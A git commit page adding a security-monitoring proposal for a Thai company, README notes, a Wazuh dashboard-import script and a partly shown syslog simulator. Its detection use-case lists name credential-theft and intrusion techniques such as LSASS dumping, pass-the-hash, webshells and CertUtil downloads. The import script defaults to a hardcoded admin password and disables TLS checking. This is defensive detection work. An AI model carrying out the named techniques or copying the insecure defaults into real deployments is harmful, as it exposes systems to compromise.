Browse Source

before claude code

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
tum 2 weeks ago
parent
commit
1028963fde

+ 579 - 0
Security Detection & Threat Intelligence Enhancement Proposal-revise.md

@@ -0,0 +1,579 @@
1
+# Security Detection & Threat Intelligence Enhancement Proposal
2
+
3
+## Security Architecture Overview
4
+
5
+---
6
+
7
+## About Simplico Co., Ltd.
8
+
9
+**Simplico Co., Ltd.** is a technology consulting and system integration company specializing in **custom security, data, and automation solutions** for enterprise and industrial environments.
10
+
11
+We focus on designing and implementing **practical, production-ready systems** rather than generic or vendor-locked platforms. Our expertise covers security monitoring, SOC/MDR architecture, automation (SOAR), system integration, and long-term operational support.
12
+
13
+We also have experience in developing mobile applications, e‑commerce platforms, large‑scale web applications, and factory automation systems.
14
+
15
+More information about our company and services is available at: [https://simplico.net/](https://simplico.net/)
16
+
17
+## 1. Executive Summary
18
+
19
+This proposal is prepared for **บริษัท ฟู้ดโปรเจ็ค (สยาม) จำกัด (FoodProject)** and delivers advanced security detection use cases, continuously updated threat‑intelligence IOC detection, and VPN authentication anomaly monitoring using a **modular, open, and extensible security architecture**.
20
+
21
+The solution avoids monolithic or vendor‑locked SOC platforms and instead uses **best‑of‑breed components**, each responsible for a specific role: detection, automation, investigation, and escalation.
22
+
23
+**Key Outcomes**
24
+
25
+* Improved visibility into malicious network activity and credential misuse
26
+* Faster detection, investigation, and escalation of high‑risk security events
27
+* Reduced operational risk through continuously updated threat intelligence
28
+
29
+---
30
+
31
+## 2. Selected Architecture
32
+
33
+This architecture is designed to directly support the detection, automation, investigation, and escalation use cases described in Section 3 by ensuring each security function is handled by a dedicated, purpose-built component.
34
+
35
+| Layer             | Technology | Purpose                                             |
36
+| ----------------- | ---------- | --------------------------------------------------- |
37
+| Detection         | Wazuh      | Log analysis, correlation, alerting                 |
38
+| Automation / SOAR | Shuffle    | IOC matching, enrichment, response logic            |
39
+| Case Management   | DFIRTrack  | Incident tracking, evidence, investigation timeline |
40
+| Escalation        | PagerDuty  | On‑call alerting & SLA enforcement                  |
41
+
42
+**Why This Architecture**
43
+
44
+* Open and extensible (no vendor lock‑in)
45
+* Designed for real SOC / MDR workflows
46
+* Clear separation of responsibility
47
+* Easy to maintain and scale
48
+
49
+```mermaid
50
+flowchart LR
51
+    A["Firewall / DNS / IDS / VPN Logs"] --> B["Wazuh
52
+Detection & Correlation"]
53
+    B --> C["Shuffle
54
+Automation & SOAR"]
55
+    C --> D["DFIRTrack
56
+Incident Tracking"]
57
+    C --> E["PagerDuty
58
+On-call Escalation"]
59
+
60
+    C -->|"IOC Match / Enrichment"| D
61
+    C -->|"SEV-1 / SEV-2"| E
62
+```
63
+
64
+---
65
+
66
+## 3. Scope of Work
67
+
68
+The scope of work is organized into three primary workstreams: (1) creation and tuning of detection rules tailored to the customer environment, (2) implementation of continuously updated threat‑intelligence IOC detection across network traffic, and (3) monitoring of VPN authentication anomalies based on geographic location. Together, these workstreams ensure comprehensive visibility, timely detection, and actionable response to security threats.
69
+
70
+### 3.1 Create & Tune New Detection Rules / Use Cases
71
+
72
+**Activities**
73
+
74
+* Review firewall, DNS, IDS/IPS, VPN, and Windows log formats
75
+* Onboard logs into Wazuh with proper parsing and normalization
76
+* Implement the agreed detection use cases (see **Appendix A: Use Case List**)
77
+* Tune thresholds, severities, and allowlists
78
+* Reduce false positives using real traffic patterns
79
+
80
+**Output**
81
+
82
+* Stable, environment-specific detection rules
83
+* Severity-aligned alerts suitable for automation and escalation
84
+
85
+---
86
+
87
+### 3.2 Threat Intelligence IOC Detection (DNS / Firewall / IDS-IPS)
88
+
89
+**Covered Use Cases**
90
+
91
+**DNS Network Traffic**
92
+
93
+* Communication to malicious domain or IP
94
+* Malicious domain / IP IOC detection
95
+
96
+**IDS / IPS Network Traffic**
97
+
98
+* Communication to malicious domain or IP
99
+* IOC-based detection from IDS / IPS alerts
100
+
101
+**Technical Implementation**
102
+
103
+1. IOC feed integration (domain & IP)
104
+2. Automated, scheduled IOC updates
105
+3. IOC matching and enrichment via automation workflows
106
+4. Incident creation and evidence tracking
107
+5. Escalation for high-severity matches
108
+
109
+**Outcome**
110
+
111
+* Continuously updated IOC detection
112
+* Clear evidence trail for audit and investigation
113
+
114
+---
115
+
116
+### 3.3 VPN Authentication Success from Outside Thailand
117
+
118
+**Detection Logic**
119
+
120
+* Monitor VPN authentication success events
121
+* Perform GeoIP lookup on source IP
122
+* Detect successful logins originating outside Thailand
123
+
124
+**Enhancements**
125
+
126
+* Exception list for approved overseas users
127
+* Risk scoring for admin accounts, first-time country access, and off-hours login
128
+
129
+**Response**
130
+
131
+* Incident creation and tracking
132
+* On-call escalation for high-risk events
133
+
134
+---
135
+
136
+### 3.2 Threat Intelligence IOC Detection (DNS / Firewall / IDS‑IPS)
137
+
138
+**Covered Use Cases**
139
+
140
+**DN5S Network Traffic**
141
+
142
+* Communication to malicious domain or IP
143
+* Malicious domain / IP IOC detection
144
+
145
+**IDS / IPS Network Traffic**
146
+
147
+* Communication to malicious domain or IP
148
+* IOC‑based detection from IDS / IPS alerts
149
+
150
+**Technical Implementation**
151
+
152
+1. IOC feed integration (domain & IP)
153
+2. Automated, scheduled IOC updates
154
+3. IOC matching and enrichment via automation workflows
155
+4. Incident creation and evidence tracking
156
+5. Escalation for high‑severity matches
157
+
158
+**Outcome**
159
+
160
+* Continuously updated IOC detection
161
+* Clear evidence trail for audit and investigation
162
+
163
+---
164
+
165
+### 3.3 VPN Authentication Success from Outside Thailand
166
+
167
+**Detection Logic**
168
+
169
+* Monitor VPN authentication success events
170
+* Perform GeoIP lookup on source IP
171
+* Detect successful logins originating outside Thailand
172
+
173
+**Enhancements**
174
+
175
+* Exception list for approved overseas users
176
+* Risk scoring for admin accounts, first‑time country access, and off‑hours login
177
+
178
+**Response**
179
+
180
+* Incident creation and tracking
181
+* On‑call escalation for high‑risk events
182
+
183
+---
184
+
185
+## 4. End‑to‑End Workflow
186
+
187
+1. Firewall / DNS / IDS / VPN logs are collected
188
+2. Detection rules evaluate events
189
+3. Automation workflows enrich and classify alerts
190
+4. Incidents are tracked with evidence and timeline
191
+5. High‑severity events trigger on‑call escalation
192
+
193
+---
194
+
195
+## 4.1 Integration Deliverables
196
+
197
+The implementation includes full integration with the automation and case management layers to ensure alerts are actionable and traceable:
198
+
199
+* Integration with **Shuffle** for automated enrichment, IOC matching, and response workflows
200
+* Integration with **DFIRTrack** for incident creation, evidence collection, and investigation timeline management
201
+
202
+## 5. Deliverables
203
+
204
+* Custom detection rules and tuning
205
+* IOC detection workflows (DNS and IDS / IPS)
206
+* Automated IOC update pipeline
207
+* VPN geo‑anomaly detection
208
+* Incident templates and investigation workflow
209
+* Escalation logic
210
+* Documentation and handover
211
+
212
+---
213
+
214
+## 6. Timeline
215
+
216
+The timeline below includes all activities required for full integration across detection, automation, case management, and escalation layers, including Shuffle and DFIRTrack.
217
+
218
+| Phase                                                                  | Duration   |
219
+| ---------------------------------------------------------------------- | ---------- |
220
+| Log onboarding & review                                                | 1 week     |
221
+| Rule creation & tuning                                                 | 1–2 weeks  |
222
+| IOC pipeline & detection                                               | 1–2 weeks  |
223
+| VPN geo-anomaly use case                                               | 3–5 days   |
224
+| **Integration & end-to-end testing (Shuffle / DFIRTrack / PagerDuty)** | **1 week** |
225
+
226
+**Total estimated duration:** 5–6 weeks
227
+
228
+---
229
+
230
+## 7. Pricing
231
+
232
+**Payment Terms**
233
+
234
+* **50%** of the total project value is payable upon project commencement.
235
+* The remaining **50%** is payable upon project completion and acceptance, as defined in this proposal.
236
+
237
+Project completion and acceptance are defined by the successful implementation of the agreed detection use cases, verified end-to-end workflows, and delivery of documentation as outlined in the Scope of Work and Deliverables sections.
238
+
239
+Project completion and acceptance are defined by the successful implementation of the agreed detection use cases, verified end-to-end workflows, and delivery of documentation as outlined in the Scope of Work and Deliverables sections.
240
241
+
242
+### One‑Time Implementation
243
+
244
+| Item                             | Cost (THB) |
245
+| -------------------------------- | ---------- |
246
+| Security use‑case implementation | 320,000    |
247
+
248
+**Note:** The above price **includes full integration** with the automation, case management, and escalation layers (Shuffle, DFIRTrack, and PagerDuty), including workflow configuration, API integration, and end‑to‑end testing.
249
+
250
+**VAT Disclaimer:** All prices stated in this proposal are **exclusive of 7% Value Added Tax (VAT)**, which will be charged separately in accordance with Thai tax regulations.
251
+|
252
+
253
+---
254
+
255
+### Short Free Tuning Period
256
+
257
+As part of this engagement, a **short free tuning period** is included after initial deployment to ensure detection rules and thresholds are well aligned with the production environment.
258
+
259
+* Duration: **30 calendar days** after go-live
260
+* Delivery mode: **Online / remote support only**
261
+* Scope: fine-tuning of existing rules, threshold adjustments, and false-positive reduction
262
+* Excludes: new use-case development, new log sources, on-site support, or major logic changes
263
+
264
+This tuning period helps stabilize the system and maximize detection quality without additional cost.
265
+
266
+---
267
+
268
+### Complimentary Security Consultation
269
+
270
+In addition to the implementation, a **complimentary security consultation** is included to support knowledge transfer and strategic alignment.
271
+
272
+* Duration: **30 calendar days** (remote only)
273
+* Scope: architecture review, use-case clarification, and operational guidance
274
+* Purpose: help internal teams better understand the system and plan future improvements
275
+
276
+This consultation is advisory in nature and does not include additional implementation or configuration work.
277
+
278
+---
279
+
280
+---
281
+
282
+### Optional Ongoing Support
283
+
284
+| Service                                | Cost (THB / month) |
285
+| -------------------------------------- | ------------------ |
286
+| IOC feed maintenance & updates         | 20,000 – 40,000    |
287
+| Rule tuning & false‑positive reduction | Included           |
288
+
289
+---
290
+
291
+## 8. Assumptions, Exclusions & Out-of-Scope
292
+
293
+**Assumptions**
294
+
295
+* Log sources are accessible and stable
296
+* Required access is provided during implementation
297
+* Log formats do not change significantly during the project timeline
298
+
299
+**Exclusions**
300
+
301
+* 24/7 SOC monitoring
302
+* Incident response execution or forensic investigation
303
+* Advanced UEBA or machine-learning analytics
304
+
305
+**Out-of-Scope (Unless Quoted Separately)**
306
+
307
+The following items are not included in this proposal and will require a separate quotation if requested:
308
+
309
+* Major changes to log formats, vendors, or network architecture after project kickoff
310
+* Onboarding of additional log sources beyond firewall, DNS, IDS/IPS, and VPN
311
+* Development of custom dashboards beyond standard operational views
312
+* Unlimited rule changes or ongoing rule development beyond the initial tuning period
313
+* Integration with additional third-party systems not listed in this proposal
314
+* Emergency or after-hours support outside agreed working hours
315
+* Compliance certification, audit execution, or regulatory reporting
316
+
317
+---
318
+
319
+## 9. Value to Customer
320
+
321
+* Practical, actionable security detection
322
+* Continuously updated threat intelligence
323
+* Reduced alert noise
324
+* Clear investigation and audit trail
325
+* Scalable foundation for future MDR services
326
+
327
+---
328
+
329
+## 10. Closing
330
+
331
+This implementation provides enterprise-grade detection and response capability using open, well-architected components—without vendor lock-in or unnecessary complexity.
332
+
333
+---
334
+
335
+# Appendix A: Use Case List (Initial Implementation Scope)
336
+
337
+The following use cases will be implemented and tuned as part of the initial project scope. Final severity and thresholds will be confirmed during log review and tuning.
338
+
339
+## A1. DNS / Firewall (IOC)
340
+
341
+| Category | Source            | Use Case                                              | Target Severity |
342
+| -------- | ----------------- | ----------------------------------------------------- | --------------- |
343
+| DNS      | Firewall/DNS logs | DNS Network Traffic – Communicate to Malicious Domain | Medium          |
344
+| DNS      | Firewall/DNS logs | DNS Network Traffic – Malicious Domain IOCs Detection | Medium          |
345
+
346
+## A2. FortiGate IPS/IDS & Firewall
347
+
348
+| Category | Source    | Use Case                                                 | Target Severity |
349
+| -------- | --------- | -------------------------------------------------------- | --------------- |
350
+| IPS      | FortiGate | IPS&IDS Network Traffic – Allowed RDP from Public IPs    | High            |
351
+| IPS      | FortiGate | IPS&IDS Firewall Account – Admin Password Change         | High            |
352
+| IPS      | FortiGate | IPS&IDS Firewall Account – Create/Add Admin Account      | High            |
353
+| IPS      | FortiGate | IPS&IDS Firewall Configure – Disabled Email Notification | High            |
354
+| IPS      | FortiGate | IPS&IDS Firewall Configure – Download Configure FW       | Low             |
355
+| IPS      | FortiGate | IPS&IDS IDS Alert – Multiple Critical/High               | Medium          |
356
+| IPS      | FortiGate | IPS&IDS Network Traffic – Port Scanning                  | Low             |
357
+| IPS      | FortiGate | IPS&IDS Network Traffic – IOC Detection                  | Medium          |
358
+| IPS      | FortiGate | IPS&IDS Network Traffic – Port Scanning from Private IP  | Medium          |
359
+| IPS      | FortiGate | IPS&IDS Network Traffic – Communicate to Malicious IP    | Medium          |
360
+
361
+## A3. FortiGate VPN
362
+
363
+| Category | Source    | Use Case                                                         | Target Severity |
364
+| -------- | --------- | ---------------------------------------------------------------- | --------------- |
365
+| VPN      | FortiGate | VPN – Authentication Success from Guest Account                  | High            |
366
+| VPN      | FortiGate | VPN – Authentication Success from Multiple Country               | High            |
367
+| VPN      | FortiGate | VPN – Authentication Brute Force Success                         | High            |
368
+| VPN      | FortiGate | VPN – Authentication Multiple Fail (Many Accounts from 1 Source) | Low             |
369
+| VPN      | FortiGate | VPN – Authentication Success from Outside Thailand               | High            |
370
+
371
+## A4. Windows / Active Directory
372
+
373
+| Category | Source                   | Use Case                                                              | Target Severity |
374
+| -------- | ------------------------ | --------------------------------------------------------------------- | --------------- |
375
+| Windows  | Windows Security Logs    | Windows Authentication – Multiple Fail from Privileged Account        | Medium          |
376
+| Windows  | Windows Security Logs    | Windows Authentication – Multiple Fail from Service Account           | Medium          |
377
+| Windows  | Windows AD Logs          | Windows AD – Enumeration with Malicious Tools                         | Medium          |
378
+| Windows  | Windows Security Logs    | Windows Authentication – Fail from Public IPs                         | Medium          |
379
+| Windows  | Windows Security Logs    | Windows File Share – Enumeration to Single Destination                | Medium          |
380
+| Windows  | Windows Security Logs    | Windows Authentication – Success from Public IPs                      | High            |
381
+| Windows  | Windows Security Logs    | Windows Authentication – Privileged Account Impersonation             | High            |
382
+| Windows  | Windows Security Logs    | Windows Authentication – Successful Pass the Hash RDP                 | High            |
383
+| Windows  | Windows Security Logs    | Windows Authentication – Success from Guest Account                   | High            |
384
+| Windows  | Windows Security Logs    | Windows Authentication – Interactive Logon Success by Service Account | High            |
385
+| Windows  | Windows Security Logs    | Windows Account – Added to Privileged Custom Group                    | High            |
386
+| Windows  | Windows Security Logs    | Windows Account – Added to Privileged Group                           | High            |
387
+| Windows  | Windows Domain Configure | Windows Domain Configure – DSRM Password Reset                        | High            |
388
+| Windows  | Windows Security Logs    | Windows Authentication – Multiple Fail (1 Account from Many Sources)  | Low             |
389
+| Windows  | Windows Security Logs    | Windows Authentication – Multiple Fail (Many Accounts from 1 Source)  | Low             |
390
+| Windows  | Windows Security Logs    | Windows Authentication – Multiple Fail from Guest Account             | Low             |
391
+| Windows  | Windows Security Logs    | Windows Authentication – Multiple Fail (1 Account from 1 Source)      | Low             |
392
+| Windows  | Windows Security Logs    | Windows Authentication – Multiple Interactive Logon Denied            | Low             |
393
+| Windows  | Windows Security Logs    | Windows Authentication – Password Spray                               | Low             |
394
+| Windows  | Windows Security Logs    | Windows Authentication – Attempt from Disabled Account                | Low             |
395
+| Windows  | Windows Security Logs    | Windows Domain Account – Created                                      | Low             |
396
+| Windows  | Windows Security Logs    | Windows Local Account – Re-Enabled                                    | Low             |
397
+| Windows  | Windows Security Logs    | Windows Local Account – Created                                       | Low             |
398
+| Windows  | Windows Security Logs    | Windows Domain Account – Re-Enabled                                   | Low             |
399
+
400
+---
401
+
402
+# Appendix B: Additional Use Cases (Optional / Add-On Scope)
403
+
404
+The following use cases require additional log sources or integrations and are **not included in the initial implementation scope**. They can be implemented as an optional add-on or Phase 2 enhancement.
405
+
406
+## B1. VMware vCenter / ESXi
407
+
408
+| Category | Source         | Use Case                                              | Target Severity |
409
+| -------- | -------------- | ----------------------------------------------------- | --------------- |
410
+| VMware   | vCenter / ESXi | vCenter GUI – Login Failed 5 Times and Success 1 Time | High            |
411
+| VMware   | vCenter / ESXi | ESXi – Enable SSH on Hosts                            | Medium          |
412
+| VMware   | vCenter / ESXi | ESXi – SSH Failed 5 Times and Success 1 Time          | High            |
413
+
414
+## B2. Log Monitoring
415
+
416
+| Category | Source     | Use Case                          | Target Severity |
417
+| -------- | ---------- | --------------------------------- | --------------- |
418
+| SIEM     | LogMonitor | Log Monitor – Logs Loss Detection | Low             |
419
+
420
+## B3. Windows Sysmon
421
+
422
+| Category | Source  | Use Case                               | Target Severity |
423
+| -------- | ------- | -------------------------------------- | --------------- |
424
+| Sysmon   | Windows | Sysmon – LSASS Dumping                 | High            |
425
+| Sysmon   | Windows | Sysmon – SQL Injection                 | High            |
426
+| Sysmon   | Windows | Sysmon – Webshell                      | High            |
427
+| Sysmon   | Windows | Sysmon – Uninstall                     | High            |
428
+| Sysmon   | Windows | Sysmon – LSASS Dumping by Task Manager | High            |
429
+| Sysmon   | Windows | Sysmon – CertUtil Download             | Medium          |
430
+
431
+**Notes**
432
+
433
+* IOC-based detections require an IOC feed and update schedule. IOC matching and enrichment will be implemented via the automation layer.
434
+* Geo-based VPN detections require GeoIP enrichment and an exception list for approved overseas users.
435
+
436
+---
437
+
438
+# Appendix C: Future Enhancement Use Cases (Post-Implementation)
439
+
440
+The following use cases are **not included in the current project scope**. They are provided to illustrate additional high-value security capabilities that can be implemented in future phases after the initial deployment is stabilized.
441
+
442
+## C1. Impossible Travel Detection (VPN / AD / Cloud)
443
+
444
+**Description**
445
+
446
+Impossible Travel detects potential credential compromise by identifying authentication events where the same user account logs in from geographically distant locations within a time window that is physically impossible for normal human travel.
447
+
448
+**How It Works**
449
+
450
+* Correlate authentication events for the same user across VPN, Active Directory, and cloud services
451
+* Enrich source IP addresses with GeoIP location data
452
+* Calculate distance and time between consecutive login events
453
+* Trigger an alert when the required travel speed exceeds realistic human limits
454
+
455
+**Typical Scenarios**
456
+
457
+* VPN login from Thailand followed shortly by a VPN or cloud login from another country
458
+* Active Directory login from an internal office network followed by an external or overseas login
459
+* Cloud or SaaS login from two distant regions within a short time window
460
+
461
+**Risk & Value**
462
+
463
+* Strong indicator of stolen or shared credentials
464
+* High signal with low false-positive rate when properly tuned
465
+* Effective for detecting attacks that bypass malware-based controls
466
+
467
+**Response Examples**
468
+
469
+* Create an incident record for investigation
470
+* Enrich with user role, account type, and asset criticality
471
+* Optional actions such as password reset, MFA enforcement, or account lockout
472
+
473
+**Implementation Notes
474
+
475
+* Known VPN exit IPs and office locations are allowlisted to reduce false positives
476
+* Service and automation accounts are excluded by default
477
+* Time windows and thresholds are tuned based on operational patterns
478
+
479
+---
480
+
481
+## C2. Advanced Credential Abuse & Privilege Misuse
482
+
483
+**Example Use Cases**
484
+
485
+* Privileged account usage outside business hours
486
+* Dormant accounts becoming active unexpectedly
487
+* Service accounts used for interactive logon
488
+* Rapid privilege escalation followed by sensitive access
489
+
490
+**Value**
491
+
492
+* Detects early-stage attacker activity
493
+* High audit and compliance relevance
494
+* Low operational noise when tuned correctly
495
+
496
+---
497
+
498
+## C3. Lateral Movement & Internal Reconnaissance
499
+
500
+**Example Use Cases**
501
+
502
+* Multiple authentication successes across different hosts in a short time
503
+* SMB or RDP access patterns indicating lateral movement
504
+* Admin account accessing many servers rapidly
505
+* Internal scanning or enumeration behavior
506
+
507
+**Value**
508
+
509
+* Identifies attacker movement after initial compromise
510
+* Difficult to detect without correlation
511
+* Strong indicator of real intrusion activity
512
+
513
+---
514
+
515
+## C4. Ransomware Early Warning Indicators
516
+
517
+**Example Use Cases**
518
+
519
+* Mass file rename or encryption behavior
520
+* Shadow copy deletion
521
+* Backup or recovery service stopped unexpectedly
522
+* High-risk process execution prior to file access
523
+
524
+**Value**
525
+
526
+* Detects ransomware before full impact
527
+* High business risk reduction
528
+* Strong executive-level interest
529
+
530
+---
531
+
532
+## C5. Endpoint & Server Behavior Anomalies
533
+
534
+**Example Use Cases**
535
+
536
+* Unusual process execution on critical servers
537
+* Command-line anomaly detection
538
+* Creation of scheduled tasks or persistence mechanisms
539
+* Unexpected software installation
540
+
541
+**Value**
542
+
543
+* Complements EDR detections
544
+* Detects living-off-the-land techniques
545
+* Useful for threat hunting and incident investigation
546
+
547
+---
548
+
549
+## C6. Cloud & SaaS Security Monitoring (If Applicable)
550
+
551
+**Example Use Cases**
552
+
553
+* Cloud administrator role changes
554
+* API key misuse or abnormal API usage
555
+* Suspicious SaaS login behavior
556
+* Large or unusual data download activity
557
+
558
+**Value**
559
+
560
+* Extends visibility beyond on-prem systems
561
+* Important for hybrid and cloud environments
562
+* Often required by security audits
563
+
564
+---
565
+
566
+## C7. SOC & Operational Maturity Monitoring
567
+
568
+**Example Use Cases**
569
+
570
+* Alert fatigue and recurring alert patterns
571
+* Incidents exceeding SLA targets
572
+* Detection coverage gaps
573
+* Log ingestion health and drift detection
574
+
575
+**Value**
576
+
577
+* Improves SOC efficiency and effectiveness
578
+* Provides management-level insight
579
+* Supports continuous security improvement

+ 60 - 0
scripts/README.md

@@ -181,6 +181,41 @@ Environment overrides:
181 181
 - `WIN_HOST`, `DNS_HOST`
182 182
 - `SIM_VPN_USER`
183 183
 
184
+## Simulate Appendix B logs (revise proposal)
185
+
186
+Use this to generate synthetic logs for Appendix B (B1-B3) in:
187
+`Security Detection & Threat Intelligence Enhancement Proposal-revise.md`.
188
+
189
+```bash
190
+scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds]
191
+```
192
+
193
+Optional flag:
194
+- `--forever` (ignore `count` and run continuously until Ctrl+C)
195
+
196
+Selectors:
197
+- `all` (all Appendix B use cases)
198
+- `b1`, `b2`, `b3` (by section)
199
+- specific use case id, e.g. `B1-01`, `B2-01`, `B3-06`
200
+
201
+Examples:
202
+
203
+```bash
204
+scripts/send-wazuh-proposal-appendix-b-events.sh all 1
205
+scripts/send-wazuh-proposal-appendix-b-events.sh b3 2 0.5
206
+scripts/send-wazuh-proposal-appendix-b-events.sh B3-06 1
207
+DRY_RUN=1 scripts/send-wazuh-proposal-appendix-b-events.sh all 1
208
+scripts/send-wazuh-proposal-appendix-b-events.sh b1 1 2 --forever
209
+```
210
+
211
+Environment overrides:
212
+- `WAZUH_SYSLOG_HOST` (default `127.0.0.1`)
213
+- `WAZUH_SYSLOG_PORT` (default `514`)
214
+- `EVENT_DELAY` (default `0.05`)
215
+- `DRY_RUN` (default `0`, set `1` to print only)
216
+- `VCENTER_HOST`, `ESXI_HOST`, `LOGMON_HOST`, `WIN_SYSMON_HOST`
217
+- `SIM_USER`
218
+
184 219
 ## Simulate endpoint client-agent logs (Windows / macOS / Linux)
185 220
 
186 221
 Use this to inject realistic endpoint telemetry for client agents into Wazuh.
@@ -247,3 +282,28 @@ SHUFFLE_API_KEY=<your_key> scripts/create-shuffle-mvp-workflows.sh
247 282
 This creates:
248 283
 - `MVP - IOC Enrichment and Case Routing`
249 284
 - `MVP - VPN Geo Anomaly Triage`
285
+
286
+## Import Wazuh Dashboard (FortiGate Simulation)
287
+
288
+Prebuilt saved objects file:
289
+
290
+- `scripts/events/wazuh-fortigate-sim-dashboard.ndjson`
291
+
292
+Import helper:
293
+
294
+```bash
295
+scripts/import-wazuh-dashboard.sh
296
+```
297
+
298
+Optional overrides:
299
+
300
+```bash
301
+WAZUH_DASHBOARD_URL=https://localhost \
302
+WAZUH_DASHBOARD_USER=admin \
303
+WAZUH_DASHBOARD_PASS=SecretPassword \
304
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-fortigate-sim-dashboard.ndjson
305
+```
306
+
307
+After import, open dashboard:
308
+
309
+- `SOC FortiGate Simulation Overview`

File diff suppressed because it is too large
+ 3 - 0
scripts/events/wazuh-client-agents-dashboard.ndjson


File diff suppressed because it is too large
+ 6 - 0
scripts/events/wazuh-fortigate-sim-dashboard.ndjson


File diff suppressed because it is too large
+ 7 - 0
scripts/events/wazuh-proposal-appendix-ab-dashboard.ndjson


File diff suppressed because it is too large
+ 6 - 0
scripts/events/wazuh-proposal-required-dashboard.ndjson


+ 27 - 0
scripts/import-wazuh-dashboard.sh

@@ -0,0 +1,27 @@
1
+#!/usr/bin/env bash
2
+set -euo pipefail
3
+
4
+DASHBOARD_FILE="${1:-scripts/events/wazuh-fortigate-sim-dashboard.ndjson}"
5
+WAZUH_DASHBOARD_URL="${WAZUH_DASHBOARD_URL:-https://localhost}"
6
+WAZUH_DASHBOARD_USER="${WAZUH_DASHBOARD_USER:-admin}"
7
+WAZUH_DASHBOARD_PASS="${WAZUH_DASHBOARD_PASS:-SecretPassword}"
8
+OVERWRITE="${OVERWRITE:-true}"
9
+
10
+if [[ ! -f "${DASHBOARD_FILE}" ]]; then
11
+  echo "error: dashboard file not found: ${DASHBOARD_FILE}" >&2
12
+  exit 1
13
+fi
14
+
15
+endpoint="${WAZUH_DASHBOARD_URL%/}/api/saved_objects/_import?overwrite=${OVERWRITE}"
16
+
17
+echo "Importing dashboard from ${DASHBOARD_FILE}"
18
+echo "Target: ${endpoint}"
19
+
20
+curl -sS -k -u "${WAZUH_DASHBOARD_USER}:${WAZUH_DASHBOARD_PASS}" \
21
+  -H 'osd-xsrf: true' \
22
+  -F "file=@${DASHBOARD_FILE}" \
23
+  "${endpoint}"
24
+
25
+echo
26
+
27
+echo "Done. Open Wazuh Dashboard and search for: SOC FortiGate Simulation Overview"

+ 215 - 0
scripts/send-wazuh-proposal-appendix-b-events.sh

@@ -0,0 +1,215 @@
1
+#!/usr/bin/env bash
2
+set -euo pipefail
3
+
4
+# Usage:
5
+#   scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds]
6
+#
7
+# selector:
8
+#   all | b1 | b2 | b3 | <usecase_id>
9
+#   example usecase_id: B1-01, B2-01, B3-06
10
+
11
+SELECTOR="${1:-all}"
12
+COUNT="${2:-1}"
13
+DELAY="${3:-0.3}"
14
+EVENT_DELAY="${EVENT_DELAY:-0.05}"
15
+DRY_RUN="${DRY_RUN:-0}"
16
+FOREVER="false"
17
+
18
+for arg in "${@:4}"; do
19
+  case "${arg}" in
20
+    --forever)
21
+      FOREVER="true"
22
+      ;;
23
+    *)
24
+      echo "error: unexpected argument '${arg}'"
25
+      echo "usage: scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds] [--forever]"
26
+      exit 1
27
+      ;;
28
+  esac
29
+done
30
+
31
+WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}"
32
+WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}"
33
+
34
+VCENTER_HOST="${VCENTER_HOST:-vcenter-01}"
35
+ESXI_HOST="${ESXI_HOST:-esxi-01}"
36
+LOGMON_HOST="${LOGMON_HOST:-logmon-01}"
37
+WIN_SYSMON_HOST="${WIN_SYSMON_HOST:-win-sysmon-01}"
38
+SIM_USER="${SIM_USER:-jane.doe}"
39
+
40
+if ! [[ "${COUNT}" =~ ^[0-9]+$ ]] || [[ "${COUNT}" -lt 1 ]]; then
41
+  echo "error: count must be a positive integer"
42
+  exit 1
43
+fi
44
+
45
+if ! [[ "${DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
46
+  echo "error: delay must be numeric"
47
+  exit 1
48
+fi
49
+
50
+if ! [[ "${EVENT_DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
51
+  echo "error: EVENT_DELAY must be numeric"
52
+  exit 1
53
+fi
54
+
55
+rand_public_ip() {
56
+  if [[ $((RANDOM % 2)) -eq 0 ]]; then
57
+    echo "198.51.100.$((RANDOM % 240 + 10))"
58
+  else
59
+    echo "203.0.113.$((RANDOM % 240 + 10))"
60
+  fi
61
+}
62
+
63
+emit_syslog() {
64
+  local msg="$1"
65
+  local sent="false"
66
+
67
+  if [[ "${DRY_RUN}" == "1" ]]; then
68
+    echo "[DRY_RUN $(date -u +'%Y-%m-%dT%H:%M:%SZ')] ${msg}"
69
+    return 0
70
+  fi
71
+
72
+  if command -v nc >/dev/null 2>&1; then
73
+    if printf "%s\n" "${msg}" | nc -u -w1 "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then
74
+      sent="true"
75
+    fi
76
+  fi
77
+
78
+  if [[ "${sent}" != "true" ]]; then
79
+    if printf "%s\n" "${msg}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}" 2>/dev/null; then
80
+      sent="true"
81
+    fi
82
+  fi
83
+
84
+  if [[ "${sent}" != "true" ]]; then
85
+    echo "error: failed to send syslog event to ${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
86
+    return 1
87
+  fi
88
+
89
+  echo "[$(date -u +'%Y-%m-%dT%H:%M:%SZ')] sent: ${msg}"
90
+}
91
+
92
+selector_matches() {
93
+  local id="$1"
94
+  local section="$2"
95
+  local sel
96
+  sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')"
97
+  local idl
98
+  idl="$(echo "${id}" | tr '[:upper:]' '[:lower:]')"
99
+  local sec
100
+  sec="$(echo "${section}" | tr '[:upper:]' '[:lower:]')"
101
+
102
+  [[ "${sel}" == "all" || "${sel}" == "${sec}" || "${sel}" == "${idl}" ]]
103
+}
104
+
105
+emit_b_usecase() {
106
+  local id="$1"
107
+  local section="$2"
108
+  local severity="$3"
109
+  local source="$4"
110
+  local host="$5"
111
+  local usecase="$6"
112
+  local body="$7"
113
+
114
+  selector_matches "${id}" "${section}" || return 0
115
+
116
+  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${host} soc_mvp_test=true source=${source} section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\" ${body}"
117
+  sleep "${EVENT_DELAY}"
118
+}
119
+
120
+emit_b1() {
121
+  local sip
122
+  sip="$(rand_public_ip)"
123
+
124
+  emit_b_usecase "B1-01" "B1" "high" "vmware" "${VCENTER_HOST}" \
125
